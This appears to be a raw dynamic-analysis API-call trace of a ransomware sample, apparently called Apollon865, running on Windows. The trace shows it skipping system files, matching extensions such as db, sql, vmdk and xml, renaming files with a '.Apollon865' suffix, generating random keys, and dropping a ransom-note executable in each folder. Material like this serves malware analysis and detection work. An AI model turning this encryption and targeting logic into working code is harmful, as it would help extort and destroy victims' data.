	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.905] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0075.905] lstrcpyW (in: lpString1=0x2d3e612, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.905] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.905] lstrlenW (lpString="Apollon865") returned 10
	[0075.905] lstrlenW (lpString=".dll") returned 4
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.905] lstrlenW (lpString=".lnk") returned 4
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.905] lstrlenW (lpString=".ini") returned 4
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.905] lstrlenW (lpString=".sys") returned 4
	[0075.905] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.905] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.905] lstrlenW (lpString="bak") returned 3
	[0075.905] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.905] lstrlenW (lpString="ba_") returned 3
	[0075.905] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.905] lstrlenW (lpString="dbb") returned 3
	[0075.905] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.906] lstrlenW (lpString="vmdk") returned 4
	[0075.906] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.906] lstrlenW (lpString="rar") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.906] lstrlenW (lpString="zip") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.906] lstrlenW (lpString="tgz") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.906] lstrlenW (lpString="vbox") returned 4
	[0075.906] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.906] lstrlenW (lpString="vdi") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.906] lstrlenW (lpString="vhd") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.906] lstrlenW (lpString="vhdx") returned 4
	[0075.906] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.906] lstrlenW (lpString="avhd") returned 4
	[0075.906] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.906] lstrlenW (lpString="db") returned 2
	[0075.906] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.906] lstrlenW (lpString="db2") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.906] lstrlenW (lpString="db3") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.906] lstrlenW (lpString="dbf") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.906] lstrlenW (lpString="mdf") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.906] lstrlenW (lpString="mdb") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.906] lstrlenW (lpString="sql") returned 3
	[0075.906] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.906] lstrlenW (lpString="sqlite") returned 6
	[0075.906] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.906] lstrlenW (lpString="sqlite3") returned 7
	[0075.906] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.906] lstrlenW (lpString="sqlitedb") returned 8
	[0075.906] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.907] lstrlenW (lpString="xml") returned 3
	[0075.907] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.907] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.Apollon865") returned 117
	[0075.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.908] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1886) returned 1
	[0075.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.909] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.909] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.909] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.910] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa60, lpName=0x0) returned 0x118
	[0075.911] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa60) returned 0x100000
	[0075.912] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.912] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.912] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.913] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.913] CloseHandle (hObject=0x118) returned 1
	[0075.913] CloseHandle (hObject=0xc0) returned 1
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.913] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.914] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.914] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0075.914] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us"
	[0075.914] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aaae8 | out: hHeap=0x580000) returned 1
	[0075.914] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0075.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned 93
	[0075.914] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us"
	[0075.914] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.920] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4552d6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4552d6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.920] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.920] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.920] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.920] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4552d6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4552d6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.920] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.920] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.920] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.920] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.920] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4552d6b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4552d6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.920] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.920] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="..") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="windows") returned -1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootmgr") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="temp") returned -1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="pagefile.sys") returned -1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="boot") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="ids.txt") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="perflogs") returned -1
	[0075.920] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="MSBuild") returned 1
	[0075.921] lstrlenW (lpString="OutlookMUI.XML") returned 14
	[0075.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*") returned 95
	[0075.921] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="OutlookMUI.XML" | out: lpString1="OutlookMUI.XML") returned="OutlookMUI.XML"
	[0075.921] lstrlenW (lpString="OutlookMUI.XML") returned 14
	[0075.921] lstrlenW (lpString="Apollon865") returned 10
	[0075.921] lstrcmpiW (lpString1="ookMUI.XML", lpString2="Apollon865") returned 1
	[0075.921] lstrlenW (lpString=".dll") returned 4
	[0075.921] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".dll") returned 1
	[0075.921] lstrlenW (lpString=".lnk") returned 4
	[0075.921] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".lnk") returned 1
	[0075.921] lstrlenW (lpString=".ini") returned 4
	[0075.921] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".ini") returned 1
	[0075.921] lstrlenW (lpString=".sys") returned 4
	[0075.921] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".sys") returned 1
	[0075.921] lstrlenW (lpString="OutlookMUI.XML") returned 14
	[0075.921] lstrlenW (lpString="bak") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.921] lstrlenW (lpString="ba_") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.921] lstrlenW (lpString="dbb") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.921] lstrlenW (lpString="vmdk") returned 4
	[0075.921] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.921] lstrlenW (lpString="rar") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.921] lstrlenW (lpString="zip") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.921] lstrlenW (lpString="tgz") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.921] lstrlenW (lpString="vbox") returned 4
	[0075.921] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.921] lstrlenW (lpString="vdi") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.921] lstrlenW (lpString="vhd") returned 3
	[0075.921] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.921] lstrlenW (lpString="vhdx") returned 4
	[0075.921] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.921] lstrlenW (lpString="avhd") returned 4
	[0075.922] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.922] lstrlenW (lpString="db") returned 2
	[0075.922] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.922] lstrlenW (lpString="db2") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.922] lstrlenW (lpString="db3") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.922] lstrlenW (lpString="dbf") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.922] lstrlenW (lpString="mdf") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.922] lstrlenW (lpString="mdb") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.922] lstrlenW (lpString="sql") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.922] lstrlenW (lpString="sqlite") returned 6
	[0075.922] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.922] lstrlenW (lpString="sqlite3") returned 7
	[0075.922] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.922] lstrlenW (lpString="sqlitedb") returned 8
	[0075.922] lstrcmpiW (lpString1="kMUI.XML", lpString2="sqlitedb") returned -1
	[0075.922] lstrlenW (lpString="xml") returned 3
	[0075.922] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.922] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.Apollon865") returned 119
	[0075.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.923] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3186) returned 1
	[0075.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.924] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.924] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.924] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.925] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf80, lpName=0x0) returned 0x118
	[0075.926] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf80) returned 0x100000
	[0075.927] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.928] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.928] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.928] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.928] CloseHandle (hObject=0x118) returned 1
	[0075.928] CloseHandle (hObject=0x15c) returned 1
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.929] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.929] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0075.929] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.929] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.929] lstrlenW (lpString="Apollon865") returned 10
	[0075.929] lstrlenW (lpString=".dll") returned 4
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.929] lstrlenW (lpString=".lnk") returned 4
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.929] lstrlenW (lpString=".ini") returned 4
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.929] lstrlenW (lpString=".sys") returned 4
	[0075.929] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.929] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.929] lstrlenW (lpString="bak") returned 3
